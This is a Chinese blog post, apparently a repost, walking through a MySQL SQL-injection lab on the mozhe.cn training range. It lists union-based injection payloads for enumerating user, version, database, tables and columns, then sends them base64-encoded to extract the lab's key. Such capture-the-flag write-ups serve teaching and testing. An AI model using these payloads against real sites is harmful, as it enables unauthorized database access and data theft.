SQL注入实战-MySQL

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入实战-MySQL相关的知识,希望对你有一定的参考价值。

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe

进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境。

技术分享图片

php注入mysql查询语句,由地址中的“?id=MQo=”可以看出,此处传递时用了base64编码,base64解码“id=MQo=”为1,常用mysql注入语句:

这里仅列出常用的信息注入语句:

暴出字段数 order by x

利用内置函数暴出用户名 and 1=2 union select 1,user()

利用内置函数暴出数据库版本 and 1=2 union select 1,version()

利用内置函数暴出数据库名称and 1=2 union select 1,database()暴出表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

暴出字段名:and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x64617461(必须是表名的十六进制表示)

暴出字段内容:and 1=2 union select 1,字段名 from 表名。

由上述常用暴库语句可以做出此题目,首先爆出数据库版本、数据库名称的基本名称。

“1 and 1=2 union select 1,version(); ”经过base64编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHZlcnNpb24oKTs=”,数据库版本为5.5.46-0ubuntu0.14.04.2:

技术分享图片

“1 and 1=2 union select 1,database();”经过编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCk7”,数据库名称为test:

技术分享图片

“1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database();” 经过base64编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpOw==”,数据库表名为data:

技术分享图片

“1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x64617461;” 经过base64编码得到
“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPTB4NjQ2MTc0NjE7”,表内字段为id,title,main,thekey:

技术分享图片

“1 and 1=2 union select 1,thekey from data;”经过编码得到“MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRoZWtleSBmcm9tIGRhdGE7”,得到KEY值。

以上是关于SQL注入实战-MySQL的主要内容,如果未能解决你的问题,请参考以下文章

Java - 转义字符串以防止 SQL 注入

9Python全站之路系列之MySQL SL注入

可怕的漏洞,SQL注入漏洞实战演习

实战 | 代码审计中的SQL注入和预编译中的SQL注入

(2020上半年第15天(SQL注入-注入实战(SQL注入(完结)10/10)))小迪网络安全笔记

记一次SQL注入实战